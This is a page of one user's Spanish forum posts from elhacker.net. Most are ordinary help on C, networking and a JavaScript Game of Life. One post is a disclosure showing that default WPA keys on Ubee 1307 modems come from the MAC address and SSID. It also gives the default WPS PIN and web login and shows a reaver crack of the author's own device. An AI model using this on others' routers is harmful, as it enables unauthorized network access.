elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 ... 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 [72] 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 ... 235
711  Seguridad Informática / Hacking Wireless / Re: ¿Cómo descargar por torrent sin tener internet? en: 6 Agosto 2017, 23:36 pm
se decidió no usar internet por 2 meses, pidieron pues a la proveedora que nos lo desactive por ese tiempo

Tienen el equipo Router/modem todavia en el domicilio?

Es raro que eso suceda, sigue investigando, no des por descartado nada.

Realmente si no tienen internet es imposible que eso suceda, sin embargo yo mismo he visto que los ISP son muy malos bloqueando las conexiones. Posiblemente tenias en la cache DNS de tu ordenador algunas de las IP de los trackers de los torrents por lo cual podias seguir comunicandote con ellos.

Saludos!
712  Seguridad Informática / Hacking Wireless / Cable modem Ubee - WPA2 y WPS por defecto en: 6 Agosto 2017, 20:03 pm
Fuente: https://albertobsd.blogspot.mx/2017/07/cable-modem-ubee-wpa2-y-wps-por-defecto.html




Bueno recientemente me instalaron el internet de Megacable (ISP de Internet y Televicion en Mexico ) y me entregaron un modem algo desconocido, pero realmente desconozco que tan usado sea esta marca de modems en las tecnologias de cable coaxial.

Me instalaron un  cable modem Ubee Modelo 1307

desconozco si estas condifuraciones sean para todos lo modelos he incluso para este mismo modelo en otra Compañia de cable.

La cable WPA/WPA2 por defecto para el equipo que me entregaron es PARTE de la MAC Address ORIGINAL. En especifico los ultimos 5 Octetos

Resalto "parte" y "original" ya que si escaneamos las redes Wireless la MAC address Wireless cambia en el ultimo octeto.

Ejemplo ficticio

MAC Adress Original: F8:DA:0C:00:00:00 (Esta es la que viene en nuestra etiqueta)
MAC Adress WAN: F8:DA:0C:00:00:01 (Esta es la que reconoce la compañia de cable)
MAC Adress MTA: F8:DA:0C:00:00:02 (NPI)
MAC Adress Ethernet: F8:DA:0C:00:00:03 (Mac address que ven las computadoras conectas por cable)
MAC Adress Wireless: F8:DA:0C:00:00:04 (Mac addres que ven los equipos wireless)

Entonces para este caso ficticio la cable WPA es DA0C000000
Y el SSID de la red Inalambrica es: Ubee0000

Los datos reales pueden cabiar.

Entonces si tenemos acceso a la MAC address inalambrica la clave serian los 4 octetos de en medio mas los 2 ultimos digitos del SSID.

Otro ejemplo

MAC Adress Wireless: F8:DA:0C:10:10:04
SSID: Ubee1000

La cable WPA seria los numeros resaltados a continuacion:
MAC Adress Wireless: F8:DA:0C:10:10:04
SSID: Ubee1000

Por lo que para este ejemplo seria DA0C101000

Ademas de todo esto el PIN WPS por default que venia en mi dispositivo es 12345670

Interfaz Web

La direccion para acceder a la interfaz web es http://192.168.0.1

El usurio y clave para entrar es user, user esto es:
usuario: user
contraseña: user

Recomendaciones
Desactivar el WPS
Cambiar el nombre de la red inalambrica
Cambiar la clave por defecto.


VULNERABLE A REAVER por defecto.

Atacando mi Equipo con Reaver:

Código:
# reaver -b F8:DA:0C:XX:XX:XX  -i mon0 -vv

Reaver v1.4-r119 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>


[+] Switching mon0 to channel 10
[+] Waiting for beacon from F8:DA:0C:XX:XX:XX
[+] Associated with F8:DA:0C:XX:XX:XX (ESSID: EyL)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 4 seconds
[+] WPS PIN: '12345670'
[+] WPA PSK: 'XXXXXXXXXXXXXX'
[+] AP SSID: 'XXXXXXXXXXXXXX'
[+] Nothing done, nothing to save.
713  Programación / Programación C/C++ / Re: ayuda con aritmetica de punteros en: 17 Marzo 2017, 16:17 pm
Muy buen dia.

Realmente no termine de leer el programa por que no me queda claro que es lo que hace.

Cuando pidas ayuda con este tipo de problemas de apuntadores busca un Ejemplo basico pero que exprese lo que no entiendes.

Ejemplo

¿Como puedo incrementar la direccion a la que apunta mi apuntador en 1 bytes?

Código
  1. #include<stdio.h>
  2.  
  3. int main() {
  4. char *cadena = "Esta es una direccion de memoria que contiene caracteres ascii";
  5. char *ptr;
  6. ptr = cadena;
  7. *ptr++;
  8. printf("Cadena apunta a %p y ptr apunta a %p",cadena,ptr);
  9. return 0;
  10. }
  11.  

Salida en mi computadora
Código:
Cadena apunta a 0040A064 y ptr apunta a 0040A065

Espero que respondas tu duda nuevamente mejor redactada y con un ejemplo de tup problema y con gusto te ayudamos.

Saludos!
714  Programación / Programación C/C++ / Re: [Problema Reto C/C++] Sumatoria de Rangos de Impares en: 14 Marzo 2017, 17:16 pm
A veces, resolver una ecuación, ofusca mucho el código jaja

A muchas personas no se le dan las matematicas, asi que por si sola una ecuacion podria considerarse ofuscada, ahora una ecuacion plasmada en un lenguaje y con operadores a nivel de bits ni  de diga.

Cabe añadi que la ecuacion que puso ivancea96, lo hace en un solo paso. Yo lo dividi en 2 pasos para sacar el rango de 0 a A y de 0 a B para posteriormente realizar la resta.

Saludos!
715  Programación / Programación C/C++ / Re: [Problema Reto C/C++] Sumatoria de Rangos de Impares en: 9 Marzo 2017, 00:12 am
Yo si no está ofuscado, no me parece correcto.

Código
  1. #include <cstdio>
  2.  
  3. int getResult(int a, int b){
  4. return (b*b+(b&1)*(b*2+1)-a*a+(a&1)*(a*2-1))>>2;
  5. }
  6.  

Barbaro y con Operadores de bits!!! Bravo!!
716  Programación / Programación C/C++ / [Problema Reto C/C++] Sumatoria de Rangos de Impares en: 8 Marzo 2017, 22:24 pm
Buenas!

Este problema lo vi en otro Foro, pero me gustaria ampliarlo y Discutir sobre la eficiencia del codigo contra la "FORMA FACIL".


Problema
Tu tienes que proporcionar la Suma de Todos los numeros Impares contenidos en un rango de numeros dados [a,b]

Ejemplo:
a = 5
b = 10
Numeros impares en el rango [5,10] = { 5,7,9 };
Sumatoria 5 +7 + 9 = 21

Ejemplo
a = 1
b = 5
Numeros impares en el rango [1,5] = { 1,3,5 };
Sumatoria 1+3 +5 = 9

Entrada del programa:
Pueden existir multiples casos para probar, La primera Linea contiene el valor T Donde T es el numero de casos a realizar,  1 <= T  <= 100000
Y seguido de T Casos, Cada Caso consiste en dos Numeros enteros a, b  donde 0 <= a <=b <=10000. En dos lineas sepaadas (1 linea por numero entero)

Ejemplo de Entrada:

Código:
2
5
10
1
5

Ejemplo de salida

Código:
Caso 1: 21
Caso 2: 8




La solucion que muchos aplican es codigo:

Código
  1. int T= 0,a = 0,b= 0,i,suma;
  2. scanf("%d\n",&T);
  3. i = 0;
  4. while(i < T) {
  5. scanf("%d\n",&a);
  6. scanf("%d\n",&b);
  7. suma = 0;
  8. while(a <= b) {
  9. if(a % 2 == 1) {
  10. suma += a;
  11. }
  12. a++;
  13. }
  14. printf("Case %i:%i\n",i+1,suma);
  15. i++;
  16. }
  17.  

Sin embargo en mi punto de vista es bastante ineficiente, ya que si te dan 10000 Veces el peor de los casos de [0,10000] (Pongo 10000 y no 100000 para que no desborde el entero de 32 bits...) En dado caso tu programa ejecutaria un ciclo de 10000 * 10000 = 100'000,000
Claro que para los procesadores modernos no hay tanta direrencia entre 100, Mi aproximacion fue sacar la formula para determinar la sumaria de los impares del rango de 0 a A y del rango de 0 a B

Y En teoria solo entro al ciclo T veces:

Código
  1. #include<stdio.h>
  2.  
  3. int main() {
  4. int T= 0,a = 0,b= 0,i;
  5. int rango_a,rango_b;
  6. scanf("%d\n",&T);
  7. i = 0;
  8. while(i < T) {
  9. scanf("%d\n",&a);
  10. scanf("%d\n",&b);
  11. if(a % 2 != 0) {
  12. a-=1;
  13. }
  14. rango_a = (((a/2)*a)/2); // Suma de Impares desde 0 hasta a-1
  15. if(b % 2 == 0) {
  16. rango_b = (((b/2)*b)/2); //Suma de Impares desde 0 hasta b
  17. }
  18. else {
  19. rango_b = ((((b+1)/2)*(b+1))/2); //Suma de Impares desde 0 hasta b
  20. }
  21. printf("Case %i:%i\n",i+1,rango_b-rango_a);
  22. i++;
  23. }
  24. return 0;
  25. }
  26.  



Consideren el siguiente archivo de Entrada 10000 veces rangos de [0,10000]
http://pastebin.com/raw/nK0xQ6cz
717  Comunicaciones / Redes / Re: Duda sobre como sabe el ISP a que cliente mandar los paquetes en: 1 Marzo 2017, 21:49 pm
Los libros ayunda, pero nada deja mas experiencia que practicar.

Lee los RFC de cada protocolo he intenta mandar los paquetes construidos a mano.

Por ejemplo puedes empezar con pequeñas peticiones GET mediante netcat a las paginas WEB y ver como responden, y posterioemente podrias capturar el paquete mediante wireshark y ver toda los paquetes que se requiere solo para una petition GET.

Saludos
718  Sistemas Operativos / Unix/Unix-Like / Re: Grupo de telegram de habla hispana *BSD en: 13 Febrero 2017, 22:41 pm
Me apunto ya mismo!
719  Programación / Programación C/C++ / Re: Piedra papel o tijeras en: 11 Enero 2017, 19:29 pm
Buen día te dejo un video de un puedra papel o tijera.

720  Foros Generales / Foro Libre / Re: Estaría interesante crear un programita con el algoritmo de cada especie animal en: 9 Noviembre 2016, 00:26 am
Obvio se trata de simulaciones, y como les comente la mas basica es el juego de la vida, aunque no simula realmente celulas, parece como si estuviera vivo:

Ponder aqui el codigo para el  juego sobre un camvas de 100 x 100

Screenshots








Demo Online:

http://imgs.mx/vida.html


Código
  1. <canvas id="world">
  2. </canvas>
  3. <script>
  4. var world = document.getElementById("world");
  5. var max = 100;
  6. var w = [];
  7. var mult_size = 2;
  8. var i = 0,j;
  9. while(i < max ) {
  10. j = 0;
  11. w[i] = [];
  12. while(j < max) {
  13. if(Math.random() < 0.1) {
  14. w[i][j] = 1; //1 alive
  15. }
  16. else {
  17. w[i][j] = 0; //1 alive
  18. }
  19. j++;
  20. }
  21. i++;
  22. }
  23. world.width = max*mult_size;
  24. world.height = max*mult_size;
  25. //drawLive();
  26. setInterval(drawLive, 1000);
  27. function drawLive() {
  28. var i = 0,j;
  29. var world = document.getElementById("world");
  30. var ctx = world.getContext("2d");
  31. while(i < max ) {
  32. j = 0;
  33. while(j < max) {
  34. if(w[i][j] == 0) {
  35. ctx.fillStyle = "#000000"; //Black
  36. ctx.fillRect(j*mult_size,i*mult_size,mult_size,mult_size);
  37. }
  38. else {
  39. ctx.fillStyle = "#FFFFFF"; //White
  40. ctx.fillRect(j*mult_size,i*mult_size,mult_size,mult_size);
  41. }
  42. j++;
  43. }
  44. i++;
  45. }
  46. //Calcular next turno
  47. var v = 0;
  48. i = 0;
  49. while(i < max ) {
  50. j = 0;
  51. while(j < max) {
  52. v = vecinas(j,i);
  53. if(w[i][j] == 0) { //Celula muerta
  54. if(v == 3) {
  55. w[i][j] = 1; //Si la celula esta muerta y tiene 3 vecinas vivas, entonces la celula nace
  56. }
  57. }
  58. if(w[i][j] == 1) { //Celula viva
  59. if(v == 2 || v == 3) {
  60. w[i][j] = 1; //Si la celula tiene solo una vecina muerte o tambien si tiene 4 o mas
  61. }
  62. else {
  63. w[i][j] = 0;
  64. }
  65. }
  66. j++;
  67. }
  68. i++;
  69. }
  70.  
  71. }
  72. function vecinas(x,y) {
  73. var x_menos_1 = x - 1;
  74. var x_mas_1 = x + 1;
  75. var y_menos_1 = y - 1;
  76. var y_mas_1 = y + 1;
  77. if(x_menos_1 == -1) {
  78. x_menos_1 = max - 1;
  79. }
  80. if(x_mas_1 == max) {
  81. x_mas_1 = 0;
  82. }
  83. if(y_menos_1 == -1) {
  84. y_menos_1 = max -1;
  85. }
  86. if(y_mas_1 == max) {
  87. y_mas_1 = 0 ;
  88. }
  89. var contador = w[y_menos_1][x_menos_1] + w[y_menos_1][x] + w[y_menos_1][x_mas_1];
  90. contador+= w[y][x_menos_1]  + w[y][x_mas_1];
  91. contador+= w[y_mas_1][x_menos_1] + w[y_mas_1][x] + w[y_mas_1][x_mas_1];
  92. return contador;
  93. }
  94. </script>
  95.  

Páginas: 1 ... 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 [72] 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 ... 235
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines